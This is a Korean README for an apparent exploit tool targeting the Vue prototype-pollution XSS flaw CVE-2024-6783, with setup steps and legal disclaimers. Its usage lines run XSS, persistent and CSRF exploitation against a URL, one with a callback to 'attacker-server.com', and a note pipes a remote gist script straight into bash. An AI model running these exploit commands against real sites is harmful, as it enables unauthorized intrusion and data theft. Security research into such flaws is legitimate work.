CVE-2024-6783 - Vue CVE

Vue에서 프로토타입 오염(prototype pollution)을 통해 XSS 공격을 수행할 수 있는 취약점이 발견되었습니다. 공격자는 Object.prototype.staticClass 또는 Object.prototype.staticStyle과 같은 일부 속성의 프로토타입 체인을 변경하여 임의의 JavaScript 코드를 실행할 수 있습니다.

기부

PayPal 또는 아래 QR 코드를 스캔하여 이 프로젝트의 유지보수를 지원할 수 있습니다.

⚡ 간단한 사용법

이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하십시오:

• 로컬 가상 머신
• Docker 컨테이너
• 격리된 랩 환경
• 승인된 침투 테스트 환경

예제 설정:

git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

예제 사용법:

# scan only 
python cve-2024-6783.py -u https://example.com -v

# Scan & XSS Exploit 
python cve-2024-6783.py -u https://example.com -e xss

# XSS Exploit with Callback
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback

# Automatic Callback Server
python cve-2024-6783.py -u https://example.com -e persistent -c auto

# CSRF Exploitation
python cve-2024-6783.py -u https://example.com -e csrf

# Full Scan and Exploit with Verbose Output
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html

참고:

• 다른 프로젝트에서 클론한 경우 중첩된 .git 디렉터리를 정리하려면 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 명령을 실행해야 합니다.
• 예: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

출처 또는 참고 자료

• https://www.herodevs.com/vulnerability-directory/cve-2024-6783?nes-for-vue-2
• vue-template-compiler-patched-bio: https://github.com/bio/vue-template-compiler-patched

📚 교육용 보안 연구 저장소

통제된 환경에서 사이버 보안 개념을 학습, 테스트, 연구하기 위한 저장소입니다.

⚠️ 보안 및 법적 고지

목적

이 저장소는 교육 및 승인된 보안 연구 전용입니다.

사용자가 다음에 대해 배울 수 있도록 설계되었습니다:

• 보안 취약점
• 샌드박스 및 격리 개념
• 안전한 코딩 및 방어적 관행

승인된 사용만 허용

권한이 있는 환경에서만 이 저장소를 사용하십시오. 예:

• 개인 랩 또는 가상 머신
• Docker 또는 격리된 환경
• 승인된 침투 테스트
• 사이버 보안 교육 또는 학술 연구

승인되지 않았거나 불법적인 사용은 엄격히 금지됩니다.

책임 없음

저자와 기여자는 이 프로젝트로 인해 발생하는 어떠한 손해, 오용, 법적 문제 또는 손실에 대해 책임지지 않습니다.

이 저장소를 사용함으로써 다음에 동의하게 됩니다:

• 자신의 행동에 대한 책임은 본인에게 있습니다.
• 합법적이고 윤리적으로 사용할 것입니다.
• 이 프로젝트는 보증 없이 제공됩니다.

윤리적 사용

이 프로젝트는 다음을 위해 만들어졌습니다:

• 방어적 보안 연구
• 사이버 보안 교육
• 취약점 인식 제고
• 안전한 시스템 및 소프트웨어 연구

책임 있는 공개(responsible disclosure) 관행을 따르고 모든 관련 법률을 준수하십시오.

연락처

책임 있는 공개 또는 협업을 위해 GitHub를 통해 저장소 관리자에게 연락하십시오.